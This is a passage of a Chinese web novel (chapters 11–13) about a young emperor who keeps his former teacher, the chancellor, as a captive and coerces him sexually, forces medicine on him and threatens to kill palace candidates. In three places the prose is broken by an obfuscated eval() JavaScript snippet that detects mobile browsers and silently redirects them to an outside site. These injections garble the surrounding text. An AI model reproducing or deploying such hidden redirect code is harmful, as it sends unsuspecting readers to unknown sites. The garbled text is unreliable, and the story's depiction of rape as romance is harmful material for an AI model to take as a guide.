宿泱闷声笑了两声,对林怀玉道:“卑贱的奴才,让你敬茶呢,还不去?” 林怀玉望着宿泱,脸上没多少表情,只是冷意卷着刺骨的风吹在了宿泱的身上。 “回禀陛下,不是王公子说的这样的,这位……这位公子他什么都没做,倒是王公子,颠倒黑白,在这里欺瞒陛下,陛下明鉴!”白见青看不下去也听不下去了,出声替林怀玉说话。 方才还等着看好戏的宿泱听见白见青的回护,唇边的笑意荡然无存,他没有看白见青,而是紧紧盯着林怀玉,冷笑了一声:“方才朕就见你二人眉来眼去,现下白姑娘又替你说话,怎么?朕才离开这么一会儿,你就勾引人家了?” 白见青顿时皱起了眉头,她刚要开口辩解,林怀玉却先她一步开了口:“陛下慎言。” 王襄玉愣了愣,瞪着眼睛看向林怀玉,这人竟然没有求饶,反而还让陛下慎言?是不想要命了吗? 然而宿泱并未降罪,只是脸色不好看:“那就敬茶。” 林怀玉抬眸看了宿泱一眼,心底一叹。 这人大概是看到白见青和自己对视了几眼,又帮自己说了话,吃他的醋了。 既然这么在意白见青,怎么还出言伤人呢?也不怕白见青对他印象不好吗? 林怀玉在众目睽睽之下朝凉亭走去,王襄玉还以为林怀玉真不怕死呢,到头来还不是要给他敬茶,陛下竟然站在了他这一边,那他坐上男后之位岂不是有希望? 这么想着,他又抬头看向了宿泱:“陛下,多谢陛下替臣子做主。” 宿泱敷衍地应了一声,随口问:“你叫什么?” 王襄玉以为自己真有希望,连忙道:“臣子叫王襄玉,王英是臣子的祖父。” 宿泱抬眉:“王阁老的孙子,王襄玉……这名字不错,朕喜欢这个玉字。” “陛下喜欢就是臣子的荣幸。”王襄玉笑着抬头,在看到宿泱的神色后,面色一僵。 宿泱虽然在和他说话,可目光却不在他的身上,而是紧紧盯着…… 王襄玉顺着宿泱的目光望了过去,是走向了凉亭的林怀玉。 林怀玉并没有直接走进凉亭,而是在旁边蹲了下来,墨色衣袍曳地,沾染了尘会。 他捏了一把土走到凉亭,将那捧土丢进了茶壶之中,随后倒了茶走到了宿泱和王襄玉面前,淡淡道:“喝吧。” 王襄玉看了一眼那浑浊的茶水,又看了一眼宿泱,委屈道:“陛下,这茶怎么喝啊?这该死的奴才竟然如此欺负人,连陛下的命令都不听。” 然而这一次,宿泱却没有应话。 王襄玉心中一惊。 这男宠难道在陛下心里还是有分量的? 他再垂死挣扎道:“陛下,我不想喝……” 宿泱却轻笑了一声,带着轻讽:“刚刚不是你要让他给你敬茶的吗?怎么现在又不喝了?” 王襄玉白了脸,摇了摇头:“我……” 宿泱收回目光,冷冷道:“喝。” 王襄玉看了一眼林怀玉,对方仍旧是那副清清淡淡的模样,好像手里的那杯不是脏污的茶水,而是上好的茗品。 没有转圜的余地,王襄玉不可能抗旨不尊,只好接过林怀玉手里的茶,硬着头皮喝了一口,沙粒顿时进了喉咙,难受得王襄玉呛了起来,可他又不敢把手里的茶盏扔了,只好再度恳求宿泱:“陛下,这茶真的不能喝。” 宿泱的目光仍旧落在林怀玉的身上,一眼没分给王襄玉:“要朕说第二遍吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583543|171616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王襄玉一哽,只好咬了咬牙,将带着泥土沙粒的茶一饮而尽,随后涨红了脸,拼命咳嗽了起来,几乎要将整个胃都咳出来。 他眼尾带着泪,不忘扯着宿泱的袖子撒娇:“陛下,我好难受啊,您能拍拍我的背吗?” 宿泱眉头一挑,终于将目光分给了王襄玉,却没有拍王襄玉的背,而是意有所指地喊了一声:“阿玉……” 王襄玉顿时眼眸一亮,回应道:“陛下……” 谁知下一秒,宿泱便甩开了他拉着袖子的手,将他一下掼在地上,冷声道:“这个名字你配不上,回去让王阁老给你重新取一个。” 他说完,朝着林怀玉走了过去,一把将人拉住,朝着沁春宫的方向而去,脸色冷得吓人。 但还是扔下了一句话:“德福,王阁老教子无方,出言不逊冲撞朕的老师,朕替他管教一二,廷杖二十,丢回去。” 留在御花园的众人一片哗然。 陛下的老师……刚刚那人竟然不是什么卑贱的男宠,而是天子帝师,当朝丞相,林怀玉! 倒在地上的王襄玉脸色煞白。 不论是他得罪了连他祖父都不敢惹的林怀玉,还是即将行刑的二十廷杖,都令他心生恐惧。 如果非要说哪个更甚,那必然是得罪了林怀玉…… 那个权倾朝野,连天子都不放在眼里的权臣,以对方的性格,他们王府都会遭殃! 完了。 但此刻,林怀玉的心里也是这两个字。 他被宿泱拽着,手腕被那人紧紧捏住,捏得生疼,宿泱在前面大步流星地走着,面若寒霜,周身气压低得可怕,满腔的怒火恐怕又是冲着他来的。 林怀玉想了想,开口道:“白姑娘只是好心替臣解围,陛下喜欢她应该留在御花园和她相处相处。” 林怀玉话音刚落,被宿泱甩进了沁春宫,房间的大门被宿泱“嘭”地合上,宿泱沉沉地望着他,背着光脸色阴沉:“那姓王的手都扯上朕的袖子了,他都和朕在撒娇了,林怀玉,你怎么还能无动于衷的?!” 林怀玉愣了一下,宿泱这话他倒是真没料到,不由得道:“那不是陛下准许的吗?” “然后呢?”宿泱气急败坏,“你就眼睁睁看着?人家还没进宫呢就知道争宠了,你呢?没了丞相之位,你就是朕的男宠,你就一点也不吃醋吗?” 林怀玉却看着他,问:“陛下充盈后宫,是不是便能放臣出宫了?” 宿泱闻言,呼吸都更急促了一些:“你想得美!林怀玉,原来你真的一点也不在乎朕。” 林怀玉一时无言,他发现自从他进宫之后,他和宿泱总是说不到一块去了。 还没等他开口,宿泱走近了,又将他一把从位子上拽了起来,粗暴地脱了他的外袍:“当着朕的面,勾引别人,别以为朕没看到,整个御花园的眼睛都在你身上,白见青同你眉目传情,你是不是喜欢她?” 林怀玉很快身上又没了衣服,他拧着眉看向宿泱,难以置信道:“臣和白姑娘怎么会……” 然而宿泱根本不给他辩解的机会:“你果然就是个下贱的男宠,朕不过不在你身边一会儿,你就去勾引别人。” 林怀玉算是明白了,宿泱只是想羞辱他而已。 他没再开口,冰凉的桌面贴在他的后背,又冷又硬,磨得他雪色的肌肤都擦出了红痕。 那金丝楠木做的桌子剧烈地晃动着,仿佛下一秒就要被人生生拆散架了,那动静不可谓不小。 林怀玉忍着体内和体外的双重疼痛,紧紧咬着下唇,又听见宿泱在他耳边恶劣道:“老师,你睁眼看看啊,看着自己现在究竟是个什么模样。” 宿泱的话犹如恶魔低语,一字一句传入林怀玉耳中:“老师在朕的身下雌伏,当真还能喜欢上女子吗?” 林怀玉鸦羽般的眼睛剧烈颤动着。 12.第 12 章 冬日彻底放了晴,大雪没再整日整夜的下,倒是太阳显得格外明艳了,拍打在窗上的风也柔和了不少,没再呜咽叫嚣着。 可即便是这样,林怀玉醒来的时候仍旧觉得冷,身上的痛意分毫不减,整个人清醒着却无力操控自己的身体,只能如同一具尸体躺在床上。 不,尸体没有感觉,而他,每一寸肌肤和骨髓都在和他控诉昨夜的荒唐。 林怀玉在床上躺了许久,久到早朝都快结束了,他才缓缓动了动指尖,回拢了些许力气,撑着自己从床上坐起来。 里面一有动静,门外便传来了敲门声:“丞相大人,您的药已经煎好了,奴才给您送进来?” 林怀玉一想到那个苦涩的药味,便皱起了眉头,身上的不适令他连带着对喝药这件事也反感了起来:“不用送了。” 左右他这个毒用那些药也喝不好,不如不喝。 外头的目宫人闻言,顿时急得满头冒汗,陛下出门之前特意嘱咐了,一定要将药在林丞相醒来之前煎好并温到让林丞相适合入口,如今这药温度正好,再不喝就该凉了。 于是他只能硬着头皮再度敲门,小心翼翼道:“丞相大人,这药若是放久了就该凉了,还是趁这会儿喝吧。” 林怀玉现下心情不好,寒声道:“本相说了不喝,你听不懂话吗?” 那奴才似乎是跪下了,连忙求饶:“丞相恕罪,只是……只是陛下离开之前吩咐了奴才,务必要伺候丞相喝药,否则就要了奴才的脑袋啊!” 门外的宫人拼了命地给林怀玉磕头,林怀玉的眉头不由得拧在了一起,然而不过几个呼吸的时间,门外磕头的动静小了。 林怀玉警惕地朝着门口望去,果然房门被人直接推开,那道高大墨色的身影一手扣着那碗熬好的药,脸色不善地走了进来,还顺手关上了门。 林怀玉半支着身体,墨色的长发从一侧宣泄而下,垂落在床榻间,白色的中衣一边坠了点,露出了林怀玉锁骨周围那一片雪色的肌肤。 宿泱看到的便是这样一副令他血脉偾张的场面,他盯着林怀玉走近,语气低沉的问:“为什么不喝药?” 其实这个问题不用问宿泱也知道,林怀玉怕苦。 林怀玉看着清冷冷如同谪仙一般的人物,实际上娇气的很,怕冷怕热,怕痛怕苦。 但宿泱一点也不觉得林怀玉麻烦,相反,他觉得林怀玉可爱,这是林怀玉为旁人所不知的东西,唯有他知道。 唯有他知道。 林怀玉那一身清冷的表皮下,是世人无法得见的不同。 林怀玉见到他,心里的怒意更甚,瞥了一眼那犹如墨汁的药,侧过头道:“不想喝。” 宿泱将药递到林怀玉的面前,道:“不喝药,病怎么能好?” 林怀玉冷笑了一声:“陛下这般对待臣,臣的病又怎么会好?” 宿泱沉沉地凝视着林怀玉,眉梢轻扬:“原来是在生气,可老师再生气,也不能不喝药。” 他说着,将药递到了林怀玉的唇边,林怀玉抬手就掀了碗,药汁溅在了宿泱的身上,林怀玉冷冷望着他:“滚开。” 宿泱瞥了一眼身上的药汁,并不在意林怀玉弄脏了他的衣服,反而轻笑了一声,对门外吩咐道:“把煎好的药都端过来。” “是。”门外的德福应声。 林怀玉皱起眉头看着宿泱,听见宿泱笑着道:“朕怕老师起来喝的药烫了或是冷了,所以每隔一刻钟让他们煎一份药,老师打碎了这碗,还有别的。” 林怀玉有些无力地看着宫人十分迅速地将几碗汤药端了进来,宿泱拿了碗走到林怀玉面前,林怀玉盯着他,没动。 下一秒,宿泱便直接捏住了林怀玉的下颌,迫使林怀玉抬头张口,苦涩的药汁被灌入口中,来不及吞咽,直入喉咙。 林怀玉顿时想要咳嗽,却被宿泱桎梏着无法动弹,他伸手攥住宿泱的手,却没有力气掰开对方的手,只能任由药汁全部送入他的口中。 墨色的药汁来不及咽下,从林怀玉的唇角淌下不少,宿泱拿了块帕子替他擦拭掉,又拿了第二碗:“老师怎么喝一半洒一半呢?药的份量不够,只好再喝一碗了。” 说完也不等林怀玉反应,捏着林怀玉的下颌,又将药猛的灌进了林怀玉的口中。 林怀玉仿佛被人摁进了水中,那溺水的窒息感扑面而来,口腔连带着鼻腔都被药汁浸入,难受到无法呼吸。 林怀玉紧紧攥着宿泱的手,可无论他怎么挣扎,都只能被迫仰着头接受药汁的灌入。 生理性的泪水溢出林怀玉微红的眼眶,晶莹的泪珠自眼尾滑落,没入黑色的发间。 两碗药灌完,宿泱才摆了摆手,让人退出去。 林怀玉失了桎梏,立刻趴在床榻边缘猛烈地咳嗽起来。 宿泱在一旁凉凉道:“老师若是将喝下去的药都吐出来了,朕不介意再帮老师喂一次。” 林怀玉撑在床沿,骨节分明的手指用力按在床榻上,些许缠绕的青筋因为用力而突起,他缓了许久才停下了咳嗽,猛烈地呼吸着,仿佛一条重新放回水里的鱼,重获新生。 他二话没说,反手给了宿泱一巴掌:“你口口声声喊我老师,真的将我放在眼里了吗?” 宿泱用手背轻轻碰了碰被林怀玉打了的那一侧脸颊,冷笑了一声:“老师不说朕都差点忘了,你如今不过是朕的男宠,既然只是男宠,那就守好你的本分,别到处勾引别人。” 提起这个,林怀玉顿时想起昨夜宿泱盛怒之下对他的羞辱,可他又实在张不开口解释这些莫须有的东西。 他身居高位,早就忘了同人解释是什么滋味,信他的自然会信,不信他的解释再多也不会信。 更何况宿泱只是单纯想要羞辱他罢了。 宿泱见林怀玉冷着脸沉默,昨日却和白见青面带微笑,轻哼了一声:“你真喜欢她?” 林怀玉皱着眉头,望向宿泱的神色都带着厌倦:“我与白姑娘并不熟。” 宿泱闻言,唇角才缓缓提了提,眼底的沉郁淡去不少,只是下一秒,脸上的阴沉又重新笼了回来。 他听见林怀玉对他说:“陛下既然喜欢白姑娘,又有意立后,此刻应当在御花园选秀,和他们多待一会儿。” 宿泱顿时盯住了林怀玉,脸上连一丝笑意都不复存在。 林怀玉却好似浑然不觉,仍旧道:“又或者陛下喜欢王襄玉那样的,会撒娇会粘人的,他倒是很喜欢陛下,陛下也可以去找他,臣不反对陛下立男后,但王襄玉居后位的话,有些不妥,陛下喜欢,纳为妃嫔便是。” 宿泱只觉得林怀玉喋喋不休,说的全是他不爱听的,他俯身将林怀玉攥近了些,一吻落在对方唇上,将那些话全部堵了回去。 林怀玉又近乎窒息,扯了宿泱的衣服将宿泱的衣领都扯乱了,等到他快呼吸不上来,宿泱才堪堪放过了他。 宿泱看了一眼身上被扯乱的衣袍,故意道:“青天白日,老师就如此迫不及待了?” 林怀玉没能理会宿泱,正大口喘着气,本就因为灌药微红的眼眶此刻更加泛红,水汽再度蔓延了上来。 宿泱捏住了林怀玉的下颌,迫使对方用这副模样看着自己,恶劣地笑道:“老师刚才不是还在推开朕吗?不是要让朕去御花园吗?怎么会这会儿又主动起来?” 林怀玉知道宿泱喜欢曲解自己的意思,闭上眼睛干脆眼不见为净。 可宿泱却不许他躲避,在林怀玉耳边问:“老师方才说不反对朕立男后,但又不许王襄玉坐那个位置,莫非老师真想做朕的皇后?” 林怀玉睁眼,眼眸中的水汽荡然无存,只剩眼眶那片绯色一时难消,他直视着宿泱,问:“陛下给吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588605|171616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宿泱同林怀玉对视了几秒,嗤笑了一声:“朕觉得,老师更适合做禁.脔。” 皇后不过是棋子,是相敬如宾的摆设。 先帝和先皇后便是如此,先皇后虽有子嗣,却也不过是她用来争权的筹码,而先帝到最后甚至猜忌起自己的枕边人,他们两个人这一生都在猜疑和争斗。 皇后并不是什么好位子,宿泱不想和林怀玉争斗,也不想和林怀玉相敬如宾,他只想把林怀玉从云端拉下来,和林怀玉在泥沼中共沉沦。 他想看林怀玉的脸上有不同的表情,只对着他的,也想和林怀玉做尽那些荒唐事。 皇后那个位置不好,他不想林怀玉坐。 仿佛只要林怀玉坐上那个位置,就和在丞相之位并无什么区别。 那不是他想要的。 可他说完,林怀玉便厌倦地闭上了眼睛,又不想看他了。 宿泱心底生出一股怒意,质问林怀玉:“老师方才要将朕推给别人,现在连看朕一眼都不愿意,就这么厌恶朕?” 林怀玉没有接话,脸上的神情都不曾变化,宿泱眼底闪过一丝失落,随即又冷声道:“好,你不理朕,朕就去御花园,去找那些秀女秀男!” 林怀玉的羽睫轻轻颤了一下,仍旧没有睁开眼睛,只开口道:“恭送陛下。” 宿泱冷笑了一声:“朕心情不好,不想选秀了,朕决定杀了所有来选秀的人。” 林怀玉这才睁开了眼,直直望向宿泱,眼底的冰冷仿佛凝上了冰霜:“陛下知道自己在说什么吗?” 宿泱见林怀玉终于肯睁开眼睛看着他,即使这目光并不让他满意,但也足够令他心生愉悦:“朕当然知道,朕说,朕要杀了那些来选秀的人,如果不是他们,朕和老师就不会闹得这般不愉快。” 林怀玉不禁冷笑了起来:“臣与陛下之间的不愉快,难道是因为他们吗?” 宿泱却噙着笑,道:“朕说是,那就是。” 林怀玉横眉看着宿泱,骂道:“你疯了?那些秀女秀男无一不是朝中众臣的子女,你杀了他们,是要逼众臣造反吗?!” 宿泱垂着眼眸,看着林怀玉动怒,看着林怀玉训斥他,竟觉得又回到了那段被林怀玉教导呵护的日子,他不怒反笑:“造反?朕有何惧?” 林怀玉有些失望地看着宿泱,难以置信道:“臣教陛下,天下百姓皆是陛下的子民,不论是众臣子女也好,平民百姓也罢,他们是江山社稷之根本,陛下不可轻之,须知水能载舟亦能覆舟,臣初次教导陛下时便是上的这一课,难道陛下忘了吗?” 宿泱自然没有错过林怀玉眼底的失望,他狠狠拧起了眉心,呵道:“朕没有忘!可老师心里除了江山社稷,除了天下百姓,除了万臣万民,还有什么?有朕吗?!老师从来没有想过朕!” 林怀玉不可置信地望着宿泱:“那你就要随意打杀那些来选秀的人,将臣的教导抛之脑后吗?” 宿泱磨了磨后槽牙,怒意不断攀升着:“是又怎样!你已经不是朕的老师了,还轮得到你来教训朕吗?” 林怀玉这回没有立刻接话,而是望着宿泱许久未言,半晌才道:“你说得对,我已经不是你的老师了,宿泱,我没有你这样不听劝诫任意妄为的学生。” 看看他教出来的好学生! 林怀玉真动了怒,忍不住剧烈地咳嗽了起来,他推开了宿泱,撑着床沿,不过短短隔了一尺,却好似隔了天堑。 宿泱怀里一空,看着林怀玉眼底浓郁的失望,心头突然一紧,林怀玉的眼神如同一盆冷水浇在了他的头顶。 只是不等他说话,林怀玉又道:“臣不曾教过陛下草芥人命,日后陛下也不必再唤臣老师了,臣想教的是一位明君,而不是一个暴君。” 宿泱看着林怀玉认真的神情,又听着对方冷漠的语气,心底突然生出无边的慌乱。 13.第 13 章 “老师是……不要朕了吗?”宿泱紧紧盯着林怀玉,说出这句话的时候竟然带着些许颤抖。 林怀玉瞥了他一眼,明明说要和自己断绝关系的是他,怎么自己真的不想当他的老师了,宿泱反而紧张起来了? “陛下不该来问臣,应该问自己。”林怀玉收回目光。 “问朕?”宿泱看着林怀玉一副冰冷冷不想理会自己的模样,攥了攥拳头。 林怀玉同所有人都那样淡漠疏离,可明明对他,总是很有耐心,甚至为了他付出许多,每年还会给他准备生辰贺礼,林怀玉待他和旁人格外的不同。 可现在,林怀玉对着他和对别人是一样的了,再也没有了从前的那些耐心,仿佛在林怀玉心里,他和那些外人没有什么不同。 宿泱越想越觉得生气,他掰过林怀玉的脑袋,非要林怀玉看着自己,同自己多说几句:“是老师总是将朕推开,是老师要把朕送给那些秀女秀男,就连王襄玉当着老师的面同朕撒娇你也没什么感觉,现在连朕这个学生也不想要了,推开朕,抛弃朕,还要来问朕?林怀玉,你好狠的心啊。” 林怀玉看着宿泱发疯,问:“那陛下还要杀了他们吗?” 宿泱嗤笑了一声:“老师就这么在乎他们?这些和你根本不熟的人,在你心里也比朕重要吗?!” 林怀玉抿唇,眉间再次染上了寒意:“是又怎样?宿泱,你闹够了没有?这些时日我纵着你,你还不清醒吗?” “纵着朕?”宿泱精准地抓到了林怀玉的话,他靠近林怀玉,问,“所以,这些日子,老师果真也在享受,是吗?” 林怀玉难堪地别过头:“我不是这个意思。” 宿泱闷笑了一声:“无所谓,老师既然想救那些无关紧要的人,那该知道和朕做交易要付出什么。” 林怀玉看向宿泱,心底有个不好的猜测。 果然下一秒,宿泱轻轻开口:“一次,朕放一个人,如何?” 林怀玉闻言,怒不可遏,他指着宿泱的鼻子骂:“这种时候你还在想这个吗?宿泱,我没有你这样的学生,你如今长大了,主意硬了,我的话统统不听了,既然如此,就放我走,从今以后我再也不管你了。” 宿泱脸色陡然一沉,他攥住林怀玉指着他的手,将人一把推倒在了床上,扼住那两只纤细苍白的手,举过林怀玉的头顶,他欺身压了过去:“你敢?林怀玉,既然你都不愿意做朕的老师了,那你不过就是朕的禁.脔,你有什么资格同朕谈条件?” 林怀玉气急,这一回没被宿泱死死压着,于是抬腿就踹,一脚踹在了宿泱的腿上。 只可惜他与宿泱力量悬殊,宿泱自小练武,身上的本事不小,一身的肌肉也恰到好处,底下蕴藏着巨大的力量,而林怀玉不说曾经不是宿泱的对手,如今中了毒又身体虚弱,更加不是宿泱的对手。 他这一脚,也不过给宿泱挠痒痒罢了。 宿泱身子分毫未动,倒是反客为主将林怀玉的腿压在了自己的腿下,重新将人制住:“老师不是也享受的吗?不如这一次乖一点,配合朕,朕心情好了,说不准网开一面,将选秀的人都放了。” 林怀玉红着眼眶,胸口不断起伏着,可很快他就连骂也骂不出来了。 宿泱堵住了他的嘴,扯了他身上的衣袍,温热的身躯顿时暴露在空气中,林怀玉轻轻瑟缩了一下,却被宿泱搂进怀里。 许久,宿泱才放开林怀玉肿了的嘴唇:“朕再给你一个机会,只要你说,你在意朕,你的心里朕是第一位的,你永远都不会抛弃朕,朕今天就放过你。” 林怀玉的眼底却仍旧只有失望,还有一丝无奈。 他没办法承诺宿泱永远陪在宿泱身边,毕竟他如今这身体,最多也不过大半年的时间了。 他不说话,宿泱的心就一点点沉了下去,随后嗤笑了一声,低声自嘲道:“老师这样厌恶朕,连骗一骗朕都不肯吗?” 林怀玉轻轻蹙眉,却仍旧不知如何对宿泱开口,宿泱怒极反笑:“好,好,好。” 他握住了林怀玉的腰,钳制着对方,不让对方逃离他:“朕给了你机会的,是你自己不要,那就不要怪朕了!” “林怀玉,从今往后,你就只是朕的禁.脔,朕不会再怜惜你了!”宿泱的话语掷地有声。 随着他的声音落地,那床边的帷幔也被放了下来,隔绝了林怀玉的视线。 他被宿泱用衣带蒙住了眼睛,黑暗中看不到东西,却将身体的感知放到了最大。 床纱摇曳之间,是林怀玉爬出去的半个身子,蒙住眼睛的衣带半落,只是下一秒他又被身后的一双大手重重拖了回去。 宿泱低沉喑哑的声音在他身后响起:“林怀玉,你以为你能逃到哪里去?” 林怀玉就这样骂了一夜,自己也不知道自己什么时候失了力气,连骂声都渐渐弱下去直到再也听不见。 夜星在黑幕中渐渐擦出淡去,日光从海平线缓缓探头,新的一日周而复始。 林怀玉再醒来的时候,整个人浑浑噩噩,与之前醒过来截然不同。 这一次除了浑身酸痛毫无力气之外,连视线都是模糊的,久久无法聚焦,他看着床顶都带着重影,脑袋也一阵一阵的疼。 以往都不曾这般难受,宿泱昨晚是发了狠了。 林怀玉缓了许久,力气恢复了一些,但头疼却不见好转,他蹙着眉心想要将自己撑起来,谁知刚一动,整个人便僵在了原地。 苍白的脸上瞬间染上了一层绯色,他恼怒着骂了一声:“畜生!” 可惜声音也没发出来多少,昨晚喊了一夜,早就哑了。 他难堪地维持着那个动作,刚才一动,下面便有一.股.暖.流冲了出来,林怀玉是第一次在早上醒来,清晰地感受到昨夜的那份羞辱。 与以往不同,这样的羞辱来得更切实,几乎将那段记忆重新唤醒,强迫他回忆起来昨夜的那份感受,提醒着他,他和宿泱做了那种不知廉耻的事。 从前大抵是宿泱都帮他清理了,他从未在第二日有过这样的感受。 林怀玉一动也不敢动,直到头疼再次将他从僵直中唤醒,他这才重新有了动作。 林怀玉从床上站起来,强忍着液体流出的不适与羞耻,随意扯了一件宿泱的外袍披在了身上,将自己整个人藏在衣袍中,随后推开了门。 周遭的景物颠倒旋转着,林怀玉只能扶着门框,缓缓走出去。 今日早朝没什么事,宿泱心中惦记着林怀玉,便早早下了朝。 他昨日气狠了,林怀玉今天八成是下不来床的,他故意没有替林怀玉清理,若是他这个时候回去,林怀玉醒过来,他正好能看到对方涨红了脸又强忍羞耻的表情。 林怀玉应该会骂他吧,和昨晚一样,不过可惜,林怀玉的嗓子已经哑了,这会儿就算想骂也骂不了了。 宿泱一想到林怀玉对他无可奈何的表情,便觉得心情愉悦,他弯着唇角,步履轻快,朝着沁春宫走去。 房门推开的那一瞬间,宿泱便感觉到屋子里的异样。 哪里不对劲。 他笑意敛去,目光几乎在一瞬间落在了床榻上。 被褥早已被掀开,原本应该蜷在床上的人此刻却不见了踪影。 宿泱心底蓦地一沉。 林怀玉不见了。 林怀玉跑了! 林怀玉果真无时无刻不在想着离开他! 宿泱脸色阴沉,一把将桌子上林怀玉没喝的药扫在了地上。 门口跪了一片,宿泱怒喝:“人呢?!” 德福见状,连忙先站出来,问门口的几个宫人:“林丞相去哪了?” 几个宫人见宿泱发了好大的火,战战兢兢,话都不敢说。 宿泱没什么耐心,一脚踹开其中一个宫人:“连个人都看不住,废物!” 另一个人见被踹吐血了的宫人,连忙掐着自己的大腿让自己冷静下来,低头回道:“陛下饶命!林大人方才披了件外袍就往那个方向去了,奴才们见他脸色不好,不敢问也不敢跟。” 宿泱朝他指的方向望了过去。 德福连忙道:“那边好像只有一间浴池。” 宿泱闻言,面色稍霁。 他转身便朝浴池的屋子走去。 浴池中有些许昏暗,窗子都蒙上了一层纱,将日光挡在了外面。 巨大的池子落地而生,白雾在屋子里蔓延,恍若仙境。 宿泱推门进入便看到一道半身的人影靠在池子边,歪着脑袋靠在池子壁的边缘,没什么动静,长发从胸前垂落,没入池子,破碎又脆弱。 白雾游走间看不清那人的呼吸起伏,林怀玉仿佛就这么静静靠在那里,连呼吸都散去了。 这样的画面看得宿泱心中一紧。 他没让德福进来,随手关上了门,一步一步朝着林怀玉走近,衣袍顺着他的脚步一件一件落地。 等到他走到林怀玉身边,宿泱看到那微弱的皮肤和因为热气蒸腾染着红晕的脸颊,这才松了口气。 他刚刚怎么会觉得林怀玉死了呢? 这人只是病弱了一些,可林怀玉那样强大,心机谋算连先帝都为之忌惮,这样一个人,怎么可能轻易死呢? 他刚刚一定是疯了。 宿泱将心里的那一丝异样与慌乱甩开,步入了池子里,将林怀玉锁在了自己身前。 “林怀玉。” 林怀玉察觉到有人在叫他,那声音隔着水,听不真切,朦朦胧胧的,好似听错了。 可对方又唤了他两声,林怀玉这才悠悠醒来。 抬眸入眼是一片结实的胸膛,可带着重影对不上焦的眼睛是林怀玉还没有恢复的病体。 怎么这次还没好? 林怀玉不禁有些奇怪。 但他没来得及多想,宿泱见他醒来,便开口问:“怎么在这儿睡着了?” 林怀玉声音懒倦:“陛下明知故问。” 宿泱轻笑了一声,方才沉郁的心情一扫而空,他又低声在林怀玉耳边问:“老师这么迫不及待地跑来洗澡,是自己清理了吗?” 林怀玉听见这话,羞愤地闭上了眼,眼前看东西仍旧是晕的,这会儿他倒是没什么力气再骂宿泱了。 宿泱一想到林怀玉早上起来发觉体内残留的东西的模样,笑着靠近他:“朕帮老师清理。” 林怀玉皱了皱眉头,却是一点力气也使不上,只能任由宿泱将他抱住,在水中抱了起来。 林怀玉的脑袋搁在宿泱的肩头,一边让宿泱清理,一边又低低咳嗽了起来。 鲜血在宿泱身后的水中荡漾开,林怀玉看见自己滴落的鲜血,当即蹙起了眉头,他抬手就要将那鲜血用水拨开,神志不清下都忘了鲜血是有气味的。 “怎么有血腥味?”宿泱低沉的声音响起,不自觉染上一层危险。 林怀玉顿时一紧。 不等他想好如何解释,宿泱却笑着道:“是朕太用力了吗?裂开了?” 林怀玉:“……” 林怀玉一时不知该松口气还是该骂宿泱。 索性他这会儿毫无力气,嗓子也哑,宿泱替他清理完就将他从池子里抱了起来。 林怀玉执拗道:“臣自己可以走。” 宿泱没理他,抱着人擦干,披上了大氅,将林怀玉也裹在里面,朝沁春宫寝宫走去。 他将人轻轻抱到床上,皱着眉有些疑惑:“怎么都从池子出来了,身上还这么烫?” 林怀玉沾床就自己扯了被子团了起来,也没理会宿泱,他头又疼又晕,连话也讲不出,干脆还是接着睡吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597680|171616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿泱见状,脸色陡沉:“老师是在怪朕昨夜没有给你清理吗?” 林怀玉也没有应。 宿泱眉头拧了起来:“老师连一句话都不跟朕说了,当真如此厌恶朕?” “朕偏不让你如意!”宿泱伸手扼住了林怀玉的下颌,想要将人弄醒,却在触碰到林怀玉的一瞬间,又收回了手。 他眼底闪过一丝慌乱。 好烫。 宿泱立刻用手背贴在了林怀玉的额头,那滚烫的程度比在池子里更甚,不像是在池子里待久了热的。 宿泱立刻唤了人:“德福!传太医!” 周历现在有点怕给林怀玉看诊,又怕自己罪犯欺君的事被捅出去,只能矛盾地赶到沁春宫,顶着宿泱阴沉的目光给林怀玉把脉。 良久他才松开手,没等他回话,宿泱先问:“他如何?” 周历连忙道:“林大人是胸气郁结又劳累过度,身子亏虚,臣重新开个调理的药方便是,只是这发热之症……” 宿泱的语气中顿时带了些危险:“怎么?” 周历不敢废话,看还是小心翼翼地看着宿泱的脸色,措辞道:“陛下还是需要节制一些,做完也得给林大人清理一下,东西留在体内便会引起林大人发热的。” 宿泱顿时有些心虚,他之前都好好给林怀玉清理了,所以林怀玉从未病成这样过,只有昨日…… 他不该赌气的。 “下去配药吧。”宿泱道。 周历轻轻呼出一口气,逃过一劫。 待众人离去,房间里重回安静,宿泱望着蜷缩在被子里的林怀玉,坐在了床沿,低声喊他:“老师,醒一醒,喝点水吧。” 林怀玉并没有清醒过来,只是转了个头,恹恹道:“小飞,别吵大人,有什么事明日再说。” 